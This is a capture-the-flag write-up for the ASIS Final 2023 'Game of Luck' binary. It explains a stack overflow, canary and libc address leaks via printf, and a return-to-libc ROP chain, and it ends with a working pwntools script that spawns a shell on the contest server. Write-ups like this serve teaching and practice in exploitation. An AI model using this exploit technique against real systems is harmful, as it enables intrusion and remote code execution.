# ASIS FINAL 2023
## GAME OF LUCK
They gave me a binary file.

At first, I thought that this would be sync attack (synchronizing the computer with the remote server). So I put it in the ghidra to decompile it.
```c
undefined8 FUN_001012d0(void)
{
int iVar1;
size_t sVar2;
long lVar3;
undefined8 *puVar4;
undefined8 *puVar5;
long in_FS_OFFSET;
byte bVar6;
uint user_bet;
int user_guess;
uint computer_bet;
int computer_guess;
undefined8 local_818 [255];
char acStack_19 [5];
uint user_money;
long local_10;
bVar6 = 0;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
FUN_00101289();
srand(0x1012d0);
puts("This game is so easy!");
puts("Just guess the correct number to win!");
puts("If you lose 3 times you\'ll be kicked out");
puVar4 = &DAT_001021e0;
puVar5 = local_818;
for (lVar3 = 257; lVar3 != 0; lVar3 = lVar3 + -1) {
*puVar5 = *puVar4;
puVar4 = puVar4 + (ulong)bVar6 * -2 + 1;
puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
}
memset(local_818,0,0x800);
do {
while( true ) {
printf("\nLives: %s\nYour money: %d\n",acStack_19 + 1,(ulong)user_money);
if ((int)user_money < 0) {
puts("You can\'t play anymore :(");
goto LAB_001015ac;
}
printf("Enter a bet value: ");
user_bet = 0xffffffff;
__isoc99_scanf(&DAT_001020d2,&user_bet);
if (0 < (int)user_bet) break;
puts("Your bet amount should be positive!");
}
iVar1 = rand();
computer_bet = iVar1 % 100 + 1;
printf("Your bet: %d, my bet: %d\n",(ulong)user_bet,(ulong)computer_bet);
printf("Enter your guess: ");
user_guess = -1;
__isoc99_scanf(&DAT_001020d2,&user_guess);
getchar();
iVar1 = rand();
computer_guess = iVar1 % 1000 + 1;
if (computer_guess == user_guess) {
puts("You won!");
user_money = computer_bet + user_money;
}
else {
puts("You lost :(");
user_money = user_money - user_bet;
sVar2 = strlen(acStack_19 + 1);
acStack_19[sVar2] = '\0';
}
if (user_money + 1 < 2048) {
printf("Please give us your feedback for this round: ");
read(0,local_818,(ulong)user_money);
puts("Thanks for your feedback!");
}
else {
puts("Sorry we can\'t take your feedback this time");
}
} while (acStack_19[1] != '\0');
puts("No more lives");
LAB_001015ac:
puts("Bye!");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
```
Things go like I expected. I see the hardcoded seed:
```c
srand(0x1012d0);
```
However, after a while reading the source, I found out that there is no point in winning the computer (it does not have a win function, nor a shell as a gift for me), and also the random number is different each time I run the binary (I didnt know why)
Then, I search that fault in GPT-4 but not getting any progress. Not until my senior, Lio, told me that it is not intended and I should find other vulnerabilities in the function did I stopped and search for something more useful.
After another while, I found something quite interesting:
```c
if (user_money + 1 < 2048) {
printf("Please give us your feedback for this round: ");
read(0,local_818,(ulong)user_money);
puts("Thanks for your feedback!");
}
```
the space for the local_818 variable is 0x800, or 2048 in decimal. And if we find a number that is small enough to pass the condition of the if statement, and also bigger than 2048 to overwrite other things in the stack.
This is where the intelligence come from. As you can see, the data type of the user_money when intializing is unsigned int:
```c
uint user_money;
```
However, in the read function it was casted to unsigned long (which is 8-byte, compared to 4 byte of int, note that this is in x86-64. Difference will happen if in other architectures.)
```c
read(0,local_818,(ulong)user_money);
```
the number 0xffffffff, in a variable of type int would be -1 (signed integer), however, in a variable of type long would be 4294967295 in decimal, more than 4 billions compare to 2048 of the local_818 variable. Hence, if we manage to turn the user_money to -1 (by losing the computer), we can write an enormous amount of data to the stack.
But, what would we write ? We dont have any win function that we will jump in, and, sadly, they turn on the PIE protection (randomize the address of functions) and also the Canary (to protect the buffer overflow vulnerability.)

> ## However, in the download file there is a libc and a loader. So my plan is to RETURN TO LIBC, a popular technique in Binary Exploitation.
To get the base of libc (the address of libc when loaded to the program), I have to find the run-time address of one of its function, and subtract the offset of that function.
### run_time_address (of a function in libc) = base_libc + offset (of that function)
To get the run_time_address, we need to find some vulnerabilities that can get me to read on the stack. And luckily, I found this:
```c
while( true ) {
printf("\nLives: %s\nYour money: %d\n",acStack_19 + 1,(ulong)user_money);
if ((int)user_money < 0) {
puts("You can\'t play anymore :(");
goto LAB_001015ac;
}
```
in the ```
printf()``` function, the format specifier used is %s. This format specifier will read until there is a null byte (\x00). If we overflow such that there is no null byte, then it will continue to read, and, finally it will read our desired target.

The first thing that we need to read and bypass is the <span style="color: red;">CANARY</span>, using the BOF vuln that I have said above, I attemp to overflow and write some arbitrary bytes as long as they are not null bytes. Hence, I get the run-time <span style="color: red;">CANARY</span>.
The second thing is the address of one of the functions in libc.

In most program, the main function is not called first, instead, the **libc_start_call_main **function in libc is called first, and this function will indeed call the main function.
Then, the return address of the main function will be in the libc_call_main function.
# But at what exact address ?
> The libc has an attribute called "libc_start_main_return", which holds the value of the return address of the main function. <span style="color: red;"> (THE address in RED color in the above image is the return address, what we need)</span>
Hence, we just simply read that address out using the %s vulnerability like the canary, and then do the subtracting:
### base_libc = read_address - libc.libc_start_main_return
Now that we have the libc. Here things is done.
What we have to do now is making the function exit and overwriting the stack so that it call system("/bin/sh").
In this last overwrite, I set the value of the user_money -200 instead of -1 for the function to exit the while and exit, also overwriting the return address by my ROPchain.
The script is below:
```python
from pwn import *
from Crypto.Util.number import *
import ctypes
import os
import time
# io = process('./chall')
io = remote('65.109.182.44' ,5000)
context.arch = 'amd64'
libc = ELF('./libc.so.6')
elf_file = ELF('./chall')
io.recvuntil(b'value: ')
io.sendline(b'1001')
io.recvuntil(b'guess: ')
io.sendline(b'1')
io.recvuntil(b'Please give us your feedback for this round: ')
io.send(b'a'*2048 + b'b'*9)
io.recvline(keepends=False)
io.recvline(keepends=False)
canary = io.recvline(keepends=False)
canary = canary[16:]
canary = b'\x00' + canary[0:7]
Canary = u64(canary)
io.recvuntil(b'value: ')
io.sendline(b'1650614883')
io.recvuntil(b'guess:')
io.sendline(b'1')
io.recvuntil(b'round:')
io.send(b'a'*2048 + b'b'*8 + b'b'*8 + b'c'*8)
io.recvline()
io.recvline()
base = io.recvline(keepends=False)
base = base[31:] + b'\x00\x00'
Base = u64(base)
base_address = Base - libc.libc_start_main_return
io.recvuntil(b'value: ')
io.sendline(b'1650614883')
io.recvuntil(b'guess:')
io.sendline(b'1')
io.recvuntil(b'Please give us your feedback for this round:')
libc.address = base_address
rop_libc = ROP(libc)
pop_rdi_ret =rop_libc.find_gadget(['pop rdi','ret'])[0]
ret =rop_libc.find_gadget(['ret'])[0]
bin_sh = next(libc.search(b'/bin/sh\x00'))
system = libc.symbols['system']
io.send(b'a'*2048 + p64(0xffffffffffffffff) + p64(Canary) + b'c'*8 + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) +p64(system))
io.interactive()
```